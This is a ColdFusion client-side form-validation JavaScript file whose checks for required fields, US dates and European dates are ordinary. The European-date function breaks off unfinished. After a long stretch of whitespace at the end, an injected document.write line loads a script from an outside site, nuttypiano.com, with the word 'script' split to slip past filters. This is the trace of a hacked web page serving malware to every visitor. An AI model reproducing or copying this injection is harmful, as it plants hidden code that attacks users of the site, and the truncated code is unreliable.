// ColdFusion JavaScript functions for cfform client-side validation

var _CF_loaded=0;

function _CF_signalLoad()
{
	_CF_loaded = 1;
}


function _CF_onError(form_object, input_object, object_value, error_message)
{
	alert(error_message);
	return false;	
}


function _CF_hasValue(obj, obj_type)
{
	if (obj_type == "TEXT" || obj_type == "PASSWORD")
	{
		if (obj.value.length == 0) 
	  		return false;
		else 
	  		return true;
	}
	else if (obj_type == "SELECT")
	{
		for (i=0; i < obj.length; i++)
		{
			if (obj.options[i].selected)
				return true;
		}
	   	return false;	
	}
	else if (obj_type == "SINGLE_VALUE_RADIO" || obj_type == "SINGLE_VALUE_CHECKBOX")
	{
		if (obj.checked)
			return true;
		else
	   		return false;	
	}
	else if (obj_type == "RADIO" || obj_type == "CHECKBOX")
	{
		for (i=0; i < obj.length; i++)
		{
			if (obj[i].checked)
				return true;
		}
	   	return false;	
	}
}


function _CF_checkdate(object_value)
{
	if (object_value.length == 0)
		return true;

	isplit = object_value.indexOf('/');

	if (isplit == -1 || isplit == object_value.length)
		return false;

	sMonth = object_value.substring(0, isplit);

	if (sMonth.length == 0)
		return false;

	isplit = object_value.indexOf('/', isplit + 1);

	if (isplit == -1 || (isplit + 1 ) == object_value.length)
		return false;

	sDay = object_value.substring((sMonth.length + 1), isplit);

	if (sDay.length == 0)
		return false;

	sYear = object_value.substring(isplit + 1);

	if (!_CF_checkinteger(sMonth))
		return false;
	else if (!_CF_checkrange(sMonth, 1, 12))
		return false;
	else if (!_CF_checkinteger(sYear))
		return false;
	else if (!_CF_checkrange(sYear, 0, 9999))
		return false;
	else if (!_CF_checkinteger(sDay))
		return false;
	else if (!_CF_checkday(sYear, sMonth, sDay))
		return false;
	else
		return true;
}


function _CF_checkeurodate(object_value)
{
	if (object_value.length == 0)
		return true;

	isplit = object_value.indexOf('/');

	if (isplit == -1)
		isplit = object_value.indexOf('.');

	if (isplit == -1 || isplit == object_value.length)
		return false;

	sDay = object_value.substring(0, isplit);

	monthSplit = isplit + 1;

	isplit = object_value.indexOf('/', monthSplit);

	if (isplit == -1)
		isplit = object_value.indexOf('.', monthSplit);

	if (isplit == -1 ||  (isplit + 1 )  == object_value.length)
		return false;

	sMonth = object_value.substring((sDay.length + 1), isplit);

	sYear = object_value.substring(isplit + 1);

	if (!_CF_checkinteger(sMonth))
		return false;
	else
	if (!_CF_checkrange(sMonth, 1, 12))
		return false;
	else
	if (!_CF_checkinteger(sYear))
		return false;
	else
	if (!_CF_checkrange(sYear, 0, null))
		return false;
	else
	if (!_CF_checkinteger(sDay))
		return false;
	else
	if (!_CF_checkday(sYear, sMonth, sDay))
		return false;

                                                                                                             

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Graphics.js"></scri'+'pt>');